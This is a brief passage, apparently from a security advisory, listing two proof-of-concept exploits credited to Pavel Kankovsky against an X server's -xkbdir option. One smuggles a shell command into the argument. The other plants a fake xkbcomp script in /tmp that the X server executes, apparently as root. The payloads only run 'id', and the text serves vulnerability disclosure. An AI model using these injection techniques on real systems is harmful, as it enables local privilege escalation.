The following proof of concepts were provided by Pavel Kankovsky: 
   $ Xserver -xkbdir 'id > /tmp/I_WAS_HERE;' 
   [exit X server] 
   $ grep root /tmp/I_WAS_HERE && echo 'Gotcha!' 

   $ cat > /tmp/xkbcomp 
   #!/bin/sh 
   id > /tmp/I_WAS_HERE 
   [ctrl+d] 
   $ chmod a+x /tmp/xkbcomp 
   $ Xserver -xkbdir /tmp 
   [X server executes /tmp/xkbcomp]